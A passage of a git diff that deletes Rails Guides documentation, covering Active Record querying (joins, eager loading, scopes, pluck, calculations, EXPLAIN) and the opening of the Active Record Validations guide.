`items` LIMIT 1 FOR UPDATE -Item Update (0.4ms) UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1 -SQL (0.8ms) COMMIT -``` - -You can also pass raw SQL to the `lock` method for allowing different types of locks. For example, MySQL has an expression called `LOCK IN SHARE MODE` where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option: - -```ruby -Item.transaction do - i = Item.lock("LOCK IN SHARE MODE").find(1) - i.increment!(:views) -end -``` - -If you already have an instance of your model, you can start a transaction and acquire the lock in one go using the following code: - -```ruby -item = Item.first -item.with_lock do - # This block is called within a transaction, - # item is already locked. - item.increment!(:views) -end -``` - -Joining Tables --------------- - -Active Record provides two finder methods for specifying `JOIN` clauses on the -resulting SQL: `joins` and `left_outer_joins`. -While `joins` should be used for `INNER JOIN` or custom queries, -`left_outer_joins` is used for queries using `LEFT OUTER JOIN`. - -### `joins` - -There are multiple ways to use the `joins` method. - -#### Using a String SQL Fragment - -You can just supply the raw SQL specifying the `JOIN` clause to `joins`: - -```ruby -Author.joins("INNER JOIN posts ON posts.author_id = authors.id AND posts.published = 't'") -``` - -This will result in the following SQL: - -```sql -SELECT authors.* FROM authors INNER JOIN posts ON posts.author_id = authors.id AND posts.published = 't' -``` - -#### Using Array/Hash of Named Associations - -Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clauses for those associations when using the `joins` method. - -For example, consider the following `Category`, `Article`, `Comment`, `Guest` and `Tag` models: - -```ruby -class Category < ApplicationRecord - has_many :articles -end - -class Article < ApplicationRecord - belongs_to :category - has_many :comments - has_many :tags -end - -class Comment < ApplicationRecord - belongs_to :article - has_one :guest -end - -class Guest < ApplicationRecord - belongs_to :comment -end - -class Tag < ApplicationRecord - belongs_to :article -end -``` - -Now all of the following will produce the expected join queries using `INNER JOIN`: - -##### Joining a Single Association - -```ruby -Category.joins(:articles) -``` - -This produces: - -```sql -SELECT categories.* FROM categories - INNER JOIN articles ON articles.category_id = categories.id -``` - -Or, in English: "return a Category object for all categories with articles". Note that you will see duplicate categories if more than one article has the same category. If you want unique categories, you can use `Category.joins(:articles).distinct`. - -#### Joining Multiple Associations - -```ruby -Article.joins(:category, :comments) -``` - -This produces: - -```sql -SELECT articles.* FROM articles - INNER JOIN categories ON articles.category_id = categories.id - INNER JOIN comments ON comments.article_id = articles.id -``` - -Or, in English: "return all articles that have a category and at least one comment". Note again that articles with multiple comments will show up multiple times. - -##### Joining Nested Associations (Single Level) - -```ruby -Article.joins(comments: :guest) -``` - -This produces: - -```sql -SELECT articles.* FROM articles - INNER JOIN comments ON comments.article_id = articles.id - INNER JOIN guests ON guests.comment_id = comments.id -``` - -Or, in English: "return all articles that have a comment made by a guest." - -##### Joining Nested Associations (Multiple Level) - -```ruby -Category.joins(articles: [{ comments: :guest }, :tags]) -``` - -This produces: - -```sql -SELECT categories.* FROM categories - INNER JOIN articles ON articles.category_id = categories.id - INNER JOIN comments ON comments.article_id = articles.id - INNER JOIN guests ON guests.comment_id = comments.id - INNER JOIN tags ON tags.article_id = articles.id -``` - -Or, in English: "return all categories that have articles, where those articles have a comment made by a guest, and where those articles also have a tag." - -#### Specifying Conditions on the Joined Tables - -You can specify conditions on the joined tables using the regular [Array](#array-conditions) and [String](#pure-string-conditions) conditions. [Hash conditions](#hash-conditions) provide a special syntax for specifying conditions for the joined tables: - -```ruby -time_range = (Time.now.midnight - 1.day)..Time.now.midnight -Client.joins(:orders).where('orders.created_at' => time_range) -``` - -An alternative and cleaner syntax is to nest the hash conditions: - -```ruby -time_range = (Time.now.midnight - 1.day)..Time.now.midnight -Client.joins(:orders).where(orders: { created_at: time_range }) -``` - -This will find all clients who have orders that were created yesterday, again using a `BETWEEN` SQL expression. - -### `left_outer_joins` - -If you want to select a set of records whether or not they have associated -records you can use the `left_outer_joins` method. - -```ruby -Author.left_outer_joins(:posts).distinct.select('authors.*, COUNT(posts.*) AS posts_count').group('authors.id') -``` - -Which produces: - -```sql -SELECT DISTINCT authors.*, COUNT(posts.*) AS posts_count FROM "authors" -LEFT OUTER JOIN posts ON posts.author_id = authors.id GROUP BY authors.id -``` - -Which means: "return all authors with their count of posts, whether or not they -have any posts at all" - - -Eager Loading Associations --------------------------- - -Eager loading is the mechanism for loading the associated records of the objects returned by `Model.find` using as few queries as possible. - -**N + 1 queries problem** - -Consider the following code, which finds 10 clients and prints their postcodes: - -```ruby -clients = Client.limit(10) - -clients.each do |client| - puts client.address.postcode -end -``` - -This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 (to find 10 clients) + 10 (one per each client to load the address) = **11** queries in total. - -**Solution to N + 1 queries problem** - -Active Record lets you specify in advance all the associations that are going to be loaded. This is possible by specifying the `includes` method of the `Model.find` call. With `includes`, Active Record ensures that all of the specified associations are loaded using the minimum possible number of queries. - -Revisiting the above case, we could rewrite `Client.limit(10)` to eager load addresses: - -```ruby -clients = Client.includes(:address).limit(10) - -clients.each do |client| - puts client.address.postcode -end -``` - -The above code will execute just **2** queries, as opposed to **11** queries in the previous case: - -```sql -SELECT * FROM clients LIMIT 10 -SELECT addresses.* FROM addresses - WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10)) -``` - -### Eager Loading Multiple Associations - -Active Record lets you eager load any number of associations with a single `Model.find` call by using an array, hash, or a nested hash of array/hash with the `includes` method. - -#### Array of Multiple Associations - -```ruby -Article.includes(:category, :comments) -``` - -This loads all the articles and the associated category and comments for each article. - -#### Nested Associations Hash - -```ruby -Category.includes(articles: [{ comments: :guest }, :tags]).find(1) -``` - -This will find the category with id 1 and eager load all of the associated articles, the associated articles' tags and comments, and every comment's guest association. - -### Specifying Conditions on Eager Loaded Associations - -Even though Active Record lets you specify conditions on the eager loaded associations just like `joins`, the recommended way is to use [joins](#joining-tables) instead. - -However if you must do this, you may use `where` as you would normally. - -```ruby -Article.includes(:comments).where(comments: { visible: true }) -``` - -This would generate a query which contains a `LEFT OUTER JOIN` whereas the -`joins` method would generate one using the `INNER JOIN` function instead. - -```ruby - SELECT "articles"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "articles" LEFT OUTER JOIN "comments" ON "comments"."article_id" = "articles"."id" WHERE (comments.visible = 1) -``` - -If there was no `where` condition, this would generate the normal set of two queries. - -NOTE: Using `where` like this will only work when you pass it a Hash. For -SQL-fragments you need to use `references` to force joined tables: - -```ruby -Article.includes(:comments).where("comments.visible = true").references(:comments) -``` - -If, in the case of this `includes` query, there were no comments for any -articles, all the articles would still be loaded. By using `joins` (an INNER -JOIN), the join conditions **must** match, otherwise no records will be -returned. - -NOTE: If an association is eager loaded as part of a join, any fields from a custom select clause will not present be on the loaded models. -This is because it is ambiguous whether they should appear on the parent record, or the child. - -Scopes ------- - -Scoping allows you to specify commonly-used queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as `where`, `joins` and `includes`. All scope methods will return an `ActiveRecord::Relation` object which will allow for further methods (such as other scopes) to be called on it. - -To define a simple scope, we use the `scope` method inside the class, passing the query that we'd like to run when this scope is called: - -```ruby -class Article < ApplicationRecord - scope :published, -> { where(published: true) } -end -``` - -This is exactly the same as defining a class method, and which you use is a matter of personal preference: - -```ruby -class Article < ApplicationRecord - def self.published - where(published: true) - end -end -``` - -Scopes are also chainable within scopes: - -```ruby -class Article < ApplicationRecord - scope :published, -> { where(published: true) } - scope :published_and_commented, -> { published.where("comments_count > 0") } -end -``` - -To call this `published` scope we can call it on either the class: - -```ruby -Article.published # => [published articles] -``` - -Or on an association consisting of `Article` objects: - -```ruby -category = Category.first -category.articles.published # => [published articles belonging to this category] -``` - -### Passing in arguments - -Your scope can take arguments: - -```ruby -class Article < ApplicationRecord - scope :created_before, ->(time) { where("created_at < ?", time) } -end -``` - -Call the scope as if it were a class method: - -```ruby -Article.created_before(Time.zone.now) -``` - -However, this is just duplicating the functionality that would be provided to you by a class method. - -```ruby -class Article < ApplicationRecord - def self.created_before(time) - where("created_at < ?", time) - end -end -``` - -Using a class method is the preferred way to accept arguments for scopes. These methods will still be accessible on the association objects: - -```ruby -category.articles.created_before(time) -``` - -### Using conditionals - -Your scope can utilize conditionals: - -```ruby -class Article < ApplicationRecord - scope :created_before, ->(time) { where("created_at < ?", time) if time.present? } -end -``` - -Like the other examples, this will behave similarly to a class method. - -```ruby -class Article < ApplicationRecord - def self.created_before(time) - where("created_at < ?", time) if time.present? - end -end -``` - -However, there is one important caveat: A scope will always return an `ActiveRecord::Relation` object, even if the conditional evaluates to `false`, whereas a class method, will return `nil`. This can cause `NoMethodError` when chaining class methods with conditionals, if any of the conditionals return `false`. - -### Applying a default scope - -If we wish for a scope to be applied across all queries to the model we can use the -`default_scope` method within the model itself. - -```ruby -class Client < ApplicationRecord - default_scope { where("removed_at IS NULL") } -end -``` - -When queries are executed on this model, the SQL query will now look something like -this: - -```sql -SELECT * FROM clients WHERE removed_at IS NULL -``` - -If you need to do more complex things with a default scope, you can alternatively -define it as a class method: - -```ruby -class Client < ApplicationRecord - def self.default_scope - # Should return an ActiveRecord::Relation. - end -end -``` - -NOTE: The `default_scope` is also applied while creating/building a record. -It is not applied while updating a record. E.g.: - -```ruby -class Client < ApplicationRecord - default_scope { where(active: true) } -end - -Client.new # => # -Client.unscoped.new # => # -``` - -### Merging of scopes - -Just like `where` clauses scopes are merged using `AND` conditions. - -```ruby -class User < ApplicationRecord - scope :active, -> { where state: 'active' } - scope :inactive, -> { where state: 'inactive' } -end - -User.active.inactive -# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'inactive' -``` - -We can mix and match `scope` and `where` conditions and the final sql -will have all conditions joined with `AND`. - -```ruby -User.active.where(state: 'finished') -# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'finished' -``` - -If we do want the last `where` clause to win then `Relation#merge` can -be used. - -```ruby -User.active.merge(User.inactive) -# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive' -``` - -One important caveat is that `default_scope` will be prepended in -`scope` and `where` conditions. - -```ruby -class User < ApplicationRecord - default_scope { where state: 'pending' } - scope :active, -> { where state: 'active' } - scope :inactive, -> { where state: 'inactive' } -end - -User.all -# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' - -User.active -# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active' - -User.where(state: 'inactive') -# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive' -``` - -As you can see above the `default_scope` is being merged in both -`scope` and `where` conditions. - -### Removing All Scoping - -If we wish to remove scoping for any reason we can use the `unscoped` method. This is -especially useful if a `default_scope` is specified in the model and should not be -applied for this particular query. - -```ruby -Client.unscoped.load -``` - -This method removes all scoping and will do a normal query on the table. - -```ruby -Client.unscoped.all -# SELECT "clients".* FROM "clients" - -Client.where(published: false).unscoped.all -# SELECT "clients".* FROM "clients" -``` - -`unscoped` can also accept a block. - -```ruby -Client.unscoped { - Client.created_before(Time.zone.now) -} -``` - -Dynamic Finders ---------------- - -For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` method. - -You can specify an exclamation point (`!`) on the end of the dynamic finders to get them to raise an `ActiveRecord::RecordNotFound` error if they do not return any records, like `Client.find_by_name!("Ryan")` - -If you want to find both by name and locked, you can chain these finders together by simply typing "`and`" between the fields. For example, `Client.find_by_first_name_and_locked("Ryan", true)`. - -Enums ------ - -The `enum` macro maps an integer column to a set of possible values. - -```ruby -class Book < ApplicationRecord - enum availability: [:available, :unavailable] -end -``` - -This will automatically create the corresponding [scopes](#scopes) to query the -model. Methods to transition between states and query the current state are also -added. - -```ruby -# Both examples below query just available books. -Book.available -# or -Book.where(availability: :available) - -book = Book.new(availability: :available) -book.available? # => true -book.unavailable! # => true -book.available? # => false -``` - -Read the full documentation about enums -[in the Rails API docs](http://api.rubyonrails.org/classes/ActiveRecord/Enum.html). - -Understanding The Method Chaining ---------------------------------- - -The Active Record pattern implements [Method Chaining](http://en.wikipedia.org/wiki/Method_chaining), -which allow us to use multiple Active Record methods together in a simple and straightforward way. - -You can chain methods in a statement when the previous method called returns an -`ActiveRecord::Relation`, like `all`, `where`, and `joins`. Methods that return -a single object (see [Retrieving a Single Object Section](#retrieving-a-single-object)) -have to be at the end of the statement. - -There are some examples below. This guide won't cover all the possibilities, just a few as examples. -When an Active Record method is called, the query is not immediately generated and sent to the database, -this just happens when the data is actually needed. So each example below generates a single query. - -### Retrieving filtered data from multiple tables - -```ruby -Person - .select('people.id, people.name, comments.text') - .joins(:comments) - .where('comments.created_at > ?', 1.week.ago) -``` - -The result should be something like this: - -```sql -SELECT people.id, people.name, comments.text -FROM people -INNER JOIN comments - ON comments.person_id = people.id -WHERE comments.created_at > '2015-01-01' -``` - -### Retrieving specific data from multiple tables - -```ruby -Person - .select('people.id, people.name, companies.name') - .joins(:company) - .find_by('people.name' => 'John') # this should be the last -``` - -The above should generate: - -```sql -SELECT people.id, people.name, companies.name -FROM people -INNER JOIN companies - ON companies.person_id = people.id -WHERE people.name = 'John' -LIMIT 1 -``` - -NOTE: Note that if a query matches multiple records, `find_by` will -fetch only the first one and ignore the others (see the `LIMIT 1` -statement above). - -Find or Build a New Object --------------------------- - -It's common that you need to find a record or create it if it doesn't exist. You can do that with the `find_or_create_by` and `find_or_create_by!` methods. - -### `find_or_create_by` - -The `find_or_create_by` method checks whether a record with the specified attributes exists. If it doesn't, then `create` is called. Let's see an example. - -Suppose you want to find a client named 'Andy', and if there's none, create one. You can do so by running: - -```ruby -Client.find_or_create_by(first_name: 'Andy') -# => # -``` - -The SQL generated by this method looks like this: - -```sql -SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1 -BEGIN -INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 1, NULL, '2011-08-30 05:22:57') -COMMIT -``` - -`find_or_create_by` returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned. - -The new record might not be saved to the database; that depends on whether validations passed or not (just like `create`). - -Suppose we want to set the 'locked' attribute to `false` if we're -creating a new record, but we don't want to include it in the query. So -we want to find the client named "Andy", or if that client doesn't -exist, create a client named "Andy" which is not locked. - -We can achieve this in two ways. The first is to use `create_with`: - -```ruby -Client.create_with(locked: false).find_or_create_by(first_name: 'Andy') -``` - -The second way is using a block: - -```ruby -Client.find_or_create_by(first_name: 'Andy') do |c| - c.locked = false -end -``` - -The block will only be executed if the client is being created. The -second time we run this code, the block will be ignored. - -### `find_or_create_by!` - -You can also use `find_or_create_by!` to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add - -```ruby -validates :orders_count, presence: true -``` - -to your `Client` model. If you try to create a new `Client` without passing an `orders_count`, the record will be invalid and an exception will be raised: - -```ruby -Client.find_or_create_by!(first_name: 'Andy') -# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank -``` - -### `find_or_initialize_by` - -The `find_or_initialize_by` method will work just like -`find_or_create_by` but it will call `new` instead of `create`. This -means that a new model instance will be created in memory but won't be -saved to the database. Continuing with the `find_or_create_by` example, we -now want the client named 'Nick': - -```ruby -nick = Client.find_or_initialize_by(first_name: 'Nick') -# => # - -nick.persisted? -# => false - -nick.new_record? -# => true -``` - -Because the object is not yet stored in the database, the SQL generated looks like this: - -```sql -SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1 -``` - -When you want to save it to the database, just call `save`: - -```ruby -nick.save -# => true -``` - -Finding by SQL --------------- - -If you'd like to use your own SQL to find records in a table you can use `find_by_sql`. The `find_by_sql` method will return an array of objects even if the underlying query returns just a single record. For example you could run this query: - -```ruby -Client.find_by_sql("SELECT * FROM clients - INNER JOIN orders ON clients.id = orders.client_id - ORDER BY clients.created_at desc") -# => [ -# #, -# #, -# ... -# ] -``` - -`find_by_sql` provides you with a simple way of making custom calls to the database and retrieving instantiated objects. - -### `select_all` - -`find_by_sql` has a close relative called `connection#select_all`. `select_all` will retrieve objects from the database using custom SQL just like `find_by_sql` but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record. - -```ruby -Client.connection.select_all("SELECT first_name, created_at FROM clients WHERE id = '1'") -# => [ -# {"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.281189"}, -# {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.221282"} -# ] -``` - -### `pluck` - -`pluck` can be used to query single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type. - -```ruby -Client.where(active: true).pluck(:id) -# SELECT id FROM clients WHERE active = 1 -# => [1, 2, 3] - -Client.distinct.pluck(:role) -# SELECT DISTINCT role FROM clients -# => ['admin', 'member', 'guest'] - -Client.pluck(:id, :name) -# SELECT clients.id, clients.name FROM clients -# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']] -``` - -`pluck` makes it possible to replace code like: - -```ruby -Client.select(:id).map { |c| c.id } -# or -Client.select(:id).map(&:id) -# or -Client.select(:id, :name).map { |c| [c.id, c.name] } -``` - -with: - -```ruby -Client.pluck(:id) -# or -Client.pluck(:id, :name) -``` - -Unlike `select`, `pluck` directly converts a database result into a Ruby `Array`, -without constructing `ActiveRecord` objects. This can mean better performance for -a large or often-running query. However, any model method overrides will -not be available. For example: - -```ruby -class Client < ApplicationRecord - def name - "I am #{super}" - end -end - -Client.select(:name).map &:name -# => ["I am David", "I am Jeremy", "I am Jose"] - -Client.pluck(:name) -# => ["David", "Jeremy", "Jose"] -``` - -Furthermore, unlike `select` and other `Relation` scopes, `pluck` triggers an immediate -query, and thus cannot be chained with any further scopes, although it can work with -scopes already constructed earlier: - -```ruby -Client.pluck(:name).limit(1) -# => NoMethodError: undefined method `limit' for # - -Client.limit(1).pluck(:name) -# => ["David"] -``` - -### `ids` - -`ids` can be used to pluck all the IDs for the relation using the table's primary key. - -```ruby -Person.ids -# SELECT id FROM people -``` - -```ruby -class Person < ApplicationRecord - self.primary_key = "person_id" -end - -Person.ids -# SELECT person_id FROM people -``` - -Existence of Objects --------------------- - -If you simply want to check for the existence of the object there's a method called `exists?`. -This method will query the database using the same query as `find`, but instead of returning an -object or collection of objects it will return either `true` or `false`. - -```ruby -Client.exists?(1) -``` - -The `exists?` method also takes multiple values, but the catch is that it will return `true` if any -one of those records exists. - -```ruby -Client.exists?(id: [1,2,3]) -# or -Client.exists?(name: ['John', 'Sergei']) -``` - -It's even possible to use `exists?` without any arguments on a model or a relation. - -```ruby -Client.where(first_name: 'Ryan').exists? -``` - -The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false` -otherwise. - -```ruby -Client.exists? -``` - -The above returns `false` if the `clients` table is empty and `true` otherwise. - -You can also use `any?` and `many?` to check for existence on a model or relation. - -```ruby -# via a model -Article.any? -Article.many? - -# via a named scope -Article.recent.any? -Article.recent.many? - -# via a relation -Article.where(published: true).any? -Article.where(published: true).many? - -# via an association -Article.first.categories.any? -Article.first.categories.many? -``` - -Calculations ------------- - -This section uses count as an example method in this preamble, but the options described apply to all sub-sections. - -All calculation methods work directly on a model: - -```ruby -Client.count -# SELECT count(*) AS count_all FROM clients -``` - -Or on a relation: - -```ruby -Client.where(first_name: 'Ryan').count -# SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan') -``` - -You can also use various finder methods on a relation for performing complex calculations: - -```ruby -Client.includes("orders").where(first_name: 'Ryan', orders: { status: 'received' }).count -``` - -Which will execute: - -```sql -SELECT count(DISTINCT clients.id) AS count_all FROM clients - LEFT OUTER JOIN orders ON orders.client_id = clients.id WHERE - (clients.first_name = 'Ryan' AND orders.status = 'received') -``` - -### Count - -If you want to see how many records are in your model's table you could call `Client.count` and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use `Client.count(:age)`. - -For options, please see the parent section, [Calculations](#calculations). - -### Average - -If you want to see the average of a certain number in one of your tables you can call the `average` method on the class that relates to the table. This method call will look something like this: - -```ruby -Client.average("orders_count") -``` - -This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field. - -For options, please see the parent section, [Calculations](#calculations). - -### Minimum - -If you want to find the minimum value of a field in your table you can call the `minimum` method on the class that relates to the table. This method call will look something like this: - -```ruby -Client.minimum("age") -``` - -For options, please see the parent section, [Calculations](#calculations). - -### Maximum - -If you want to find the maximum value of a field in your table you can call the `maximum` method on the class that relates to the table. This method call will look something like this: - -```ruby -Client.maximum("age") -``` - -For options, please see the parent section, [Calculations](#calculations). - -### Sum - -If you want to find the sum of a field for all records in your table you can call the `sum` method on the class that relates to the table. This method call will look something like this: - -```ruby -Client.sum("orders_count") -``` - -For options, please see the parent section, [Calculations](#calculations). - -Running EXPLAIN ---------------- - -You can run EXPLAIN on the queries triggered by relations. For example, - -```ruby -User.where(id: 1).joins(:articles).explain -``` - -may yield - -``` -EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `articles` ON `articles`.`user_id` = `users`.`id` WHERE `users`.`id` = 1 -+----+-------------+----------+-------+---------------+ -| id | select_type | table | type | possible_keys | -+----+-------------+----------+-------+---------------+ -| 1 | SIMPLE | users | const | PRIMARY | -| 1 | SIMPLE | articles | ALL | NULL | -+----+-------------+----------+-------+---------------+ -+---------+---------+-------+------+-------------+ -| key | key_len | ref | rows | Extra | -+---------+---------+-------+------+-------------+ -| PRIMARY | 4 | const | 1 | | -| NULL | NULL | NULL | 1 | Using where | -+---------+---------+-------+------+-------------+ - -2 rows in set (0.00 sec) -``` - -under MySQL and MariaDB. - -Active Record performs a pretty printing that emulates that of the -corresponding database shell. So, the same query running with the -PostgreSQL adapter would yield instead - -``` -EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "articles" ON "articles"."user_id" = "users"."id" WHERE "users"."id" = 1 - QUERY PLAN ------------------------------------------------------------------------------- - Nested Loop Left Join (cost=0.00..37.24 rows=8 width=0) - Join Filter: (articles.user_id = users.id) - -> Index Scan using users_pkey on users (cost=0.00..8.27 rows=1 width=4) - Index Cond: (id = 1) - -> Seq Scan on articles (cost=0.00..28.88 rows=8 width=4) - Filter: (articles.user_id = 1) -(6 rows) -``` - -Eager loading may trigger more than one query under the hood, and some queries -may need the results of previous ones. Because of that, `explain` actually -executes the query, and then asks for the query plans. For example, - -```ruby -User.where(id: 1).includes(:articles).explain -``` - -yields - -``` -EXPLAIN for: SELECT `users`.* FROM `users` WHERE `users`.`id` = 1 -+----+-------------+-------+-------+---------------+ -| id | select_type | table | type | possible_keys | -+----+-------------+-------+-------+---------------+ -| 1 | SIMPLE | users | const | PRIMARY | -+----+-------------+-------+-------+---------------+ -+---------+---------+-------+------+-------+ -| key | key_len | ref | rows | Extra | -+---------+---------+-------+------+-------+ -| PRIMARY | 4 | const | 1 | | -+---------+---------+-------+------+-------+ - -1 row in set (0.00 sec) - -EXPLAIN for: SELECT `articles`.* FROM `articles` WHERE `articles`.`user_id` IN (1) -+----+-------------+----------+------+---------------+ -| id | select_type | table | type | possible_keys | -+----+-------------+----------+------+---------------+ -| 1 | SIMPLE | articles | ALL | NULL | -+----+-------------+----------+------+---------------+ -+------+---------+------+------+-------------+ -| key | key_len | ref | rows | Extra | -+------+---------+------+------+-------------+ -| NULL | NULL | NULL | 1 | Using where | -+------+---------+------+------+-------------+ - - -1 row in set (0.00 sec) -``` - -under MySQL and MariaDB. - -### Interpreting EXPLAIN - -Interpretation of the output of EXPLAIN is beyond the scope of this guide. The -following pointers may be helpful: - -* SQLite3: [EXPLAIN QUERY PLAN](http://www.sqlite.org/eqp.html) - -* MySQL: [EXPLAIN Output Format](http://dev.mysql.com/doc/refman/5.7/en/explain-output.html) - -* MariaDB: [EXPLAIN](https://mariadb.com/kb/en/mariadb/explain/) - -* PostgreSQL: [Using EXPLAIN](http://www.postgresql.org/docs/current/static/using-explain.html) diff --git a/source/active_record_validations.md b/source/active_record_validations.md deleted file mode 100644 index 5313361..0000000 --- a/source/active_record_validations.md +++ /dev/null @@ -1,1296 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Active Record Validations -========================= - -This guide teaches you how to validate the state of objects before they go into -the database using Active Record's validations feature. - -After reading this guide, you will know: - -* How to use the built-in Active Record validation helpers. -* How to create your own custom validation methods. -* How to work with the error messages generated by the validation process. - --------------------------------------------------------------------------------- - -Validations Overview --------------------- - -Here's an example of a very simple validation: - -```ruby -class Person < ApplicationRecord - validates :name, presence: true -end - -Person.create(name: "John Doe").valid? # => true -Person.create(name: nil).valid? # => false -``` - -As you can see, our validation lets us know that our `Person` is not valid -without a `name` attribute. The second `Person` will not be persisted to the -database. - -Before we dig into more details, let's talk about how validations fit into the -big picture of your application. - -### Why Use Validations? - -Validations are used to ensure that only valid data is saved into your -database. For example, it may be important to your application to ensure that -every user provides a valid email address and mailing address. Model-level -validations are the best way to ensure that only valid data is saved into your -database. They are database agnostic, cannot be bypassed by end users, and are -convenient to test and maintain. Rails makes them easy to use, provides -built-in helpers for common needs, and allows you to create your own validation -methods as well. - -There are several other ways to validate data before it is saved into your -database, including native database constraints, client-side validations and -controller-level validations. Here's a summary of the pros and cons: - -* Database constraints and/or stored procedures make the validation mechanisms - database-dependent and can make testing and maintenance more difficult. - However, if your database is used by other applications, it may be a good - idea to use some constraints at the database level. Additionally, - database-level validations can safely handle some things (such as uniqueness - in heavily-used tables) that can be difficult to implement otherwise. -* Client-side validations can be useful, but are generally unreliable if used - alone. If they are implemented using JavaScript, they may be bypassed if - JavaScript is turned off in the user's browser. However, if combined with - other techniques, client-side validation can be a convenient way to provide - users with immediate feedback as they use your site. -* Controller-level validations can be tempting to use, but often become - unwieldy and difficult to test and maintain. Whenever possible, it's a good - idea to keep your controllers skinny, as it will make your application a - pleasure to work with in the long run. - -Choose these in certain, specific cases. It's the opinion of the Rails team -that model-level validations are the most appropriate in most circumstances. - -### When Does Validation Happen? - -There are two kinds of Active Record objects: those that correspond to a row -inside your database and those that do not. When you create a fresh object, for -example using the `new` method, that object does not belong to the database -yet. Once you call `save` upon that object it will be saved into the -appropriate database table. Active Record uses the `new_record?` instance -method to determine whether an object is already in the database or not. -Consider the following simple Active Record class: - -```ruby -class Person < ApplicationRecord -end -``` - -We can see how it works by looking at some `rails console` output: - -```ruby -$ bin/rails console ->> p = Person.new(name: "John Doe") -=> # ->> p.new_record? -=> true ->> p.save -=> true ->> p.new_record? -=> false -``` - -Creating and saving a new record will send an SQL `INSERT` operation to the -database. Updating an existing record will send an SQL `UPDATE` operation -instead. Validations are typically run before these commands are sent to the -database. If any validations fail, the object will be marked as invalid and -Active Record will not perform the `INSERT` or `UPDATE` operation. This avoids -storing an invalid object in the database. You can choose to have specific -validations run when an object is created, saved, or updated. - -CAUTION: There are many ways to change the state of an object in the database. -Some methods will trigger validations, but some will not. This means that it's -possible to save an object in the database in an invalid state if you aren't -careful. - -The following methods trigger validations, and will save the object to the -database only if the object is valid: - -* `create` -* `create!` -* `save` -* `save!` -* `update` -* `update!` - -The bang versions (e.g. `save!`) raise an exception if the record is invalid. -The non-bang versions don't: `save` and `update` return `false`, and -`create` just returns the object. - -### Skipping Validations - -The following methods skip validations, and will save the object to the -database regardless of its validity. They should be used with caution. - -* `decrement!` -* `decrement_counter` -* `increment!` -* `increment_counter` -* `toggle!` -* `touch` -* `update_all` -* `update_attribute` -* `update_column` -* `update_columns` -* `update_counters` - -Note that `save` also has the ability to skip validations if passed `validate: -false` as an argument. This technique should be used with caution. - -* `save(validate: false)` - -### `valid?` and `invalid?` - -Before saving an Active Record object, Rails runs your validations. -If these validations produce any errors, Rails does not save the object. - -You can also run these validations on your own. `valid?` triggers your validations -and returns true if no errors were found in the object, and false otherwise. -As you saw above: - -```ruby -class Person < ApplicationRecord - validates :name, presence: true -end - -Person.create(name: "John Doe").valid? # => true -Person.create(name: nil).valid? # => false -``` - -After Active Record has performed validations, any errors found can be accessed -through the `errors.messages` instance method, which returns a collection of errors. -By definition, an object is valid if this collection is empty after running -validations. - -Note that an object instantiated with `new` will not report errors -even if it's technically invalid, because validations are automatically run -only when the object is saved, such as with the `create` or `save` methods. - -```ruby -class Person < ApplicationRecord - validates :name, presence: true -end - ->> p = Person.new -# => # ->> p.errors.messages -# => {} - ->> p.valid? -# => false ->> p.errors.messages -# => {name:["can't be blank"]} - ->> p = Person.create -# => # ->> p.errors.messages -# => {name:["can't be blank"]} - ->> p.save -# => false - ->> p.save! -# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank - ->> Person.create! -# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank -``` - -`invalid?` is simply the inverse of `valid?`. It triggers your validations, -returning true if any errors were found in the object, and false otherwise. - -### `errors[]` - -To verify whether or not a particular attribute of an object is valid, you can -use `errors[:attribute]`. It returns an array of all the errors for -`:attribute`. If there are no errors on the specified attribute, an empty array -is returned. - -This method is only useful _after_ validations have been run, because it only -inspects the errors collection and does not trigger validations itself. It's -different from the `ActiveRecord::Base#invalid?` method explained above because -it doesn't verify the validity of the object as a whole. It only checks to see -whether there are errors found on an individual attribute of the object. - -```ruby -class Person < ApplicationRecord - validates :name, presence: true -end - ->> Person.new.errors[:name].any? # => false ->> Person.create.errors[:name].any? # => true -``` - -We'll cover validation errors in greater depth in the [Working with Validation -Errors](#working-with-validation-errors) section. - -### `errors.details` - -To check which validations failed on an invalid attribute, you can use -`errors.details[:attribute]`. It returns an array of hashes with an `:error` -key to get the symbol of the validator: - -```ruby -class Person < ApplicationRecord - validates :name, presence: true -end - ->> person = Person.new ->> person.valid? ->> 